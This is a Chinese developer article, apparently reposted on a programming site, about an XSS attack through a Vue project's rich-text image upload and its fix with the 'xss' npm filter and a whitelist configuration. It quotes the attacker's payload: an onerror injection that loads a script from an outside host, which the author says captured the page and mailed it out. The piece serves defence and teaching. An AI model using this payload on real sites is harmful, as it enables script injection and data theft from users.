返回顶部
首页 > 资讯 > 前端开发 > JavaScript >一次VUE项目中遇到XSS攻击的实战记录
  • 867
分享到

一次VUE项目中遇到XSS攻击的实战记录

2024-04-02 19:04:59 867人浏览 独家记忆
摘要

目录前言发现原因自定义过滤规则总结前言 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的

前言

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid api 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

发现原因

一切的原因都归咎于富文本编辑器....

应需求将文本域修改成富文本编辑器支持用户直接粘贴图片遭到用户使用网络图片上传方式攻击

攻击代码1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在数据回显时,图片报错并执行onerror事件,导致当前页面被截图发送至指定邮箱

最开始解决办法是直接关闭富文本编辑器上传网络图片的方式,但是后续再次遭到此类攻击,攻击者使用“fiddler”修改参数达到同样效果

最终采用第三方防御XSS攻击插件并通过配置白名单解决,在提交以及拿到后端返回数据时进行过滤

插件中文文档地址:GitHub.com/leizongmin/…


npm install xss

import filterXSS from "xss"

自定义过滤规则

在调用 xss() 函数进行过滤时,可通过第二个参数来设置自定义规则:


options = {}; // 自定义规则
html = filterXSS('<script>alert("xss");</script>', options);

通过 whiteList 来指定,格式为:{'标签名': ['属性1', '属性2']}。不在白名单上的标签将被过滤,不在白名单上的属性也会被过滤。


let options = {
    stripIgnoreTagBody: true, // 不在白名单中的标签以及标签里面的内容直接删除
    whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     CSS: {
     // 因为上面白名单中允许了标签的style属性,所以需要防止攻击者使用此途径进行攻击
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)

总结

到此这篇关于Vue项目中遇到XSS攻击的文章就介绍到这了,更多相关VUE项目XSS攻击内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: 一次VUE项目中遇到XSS攻击的实战记录

本文链接: https://lsjlt.com/news/158888.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作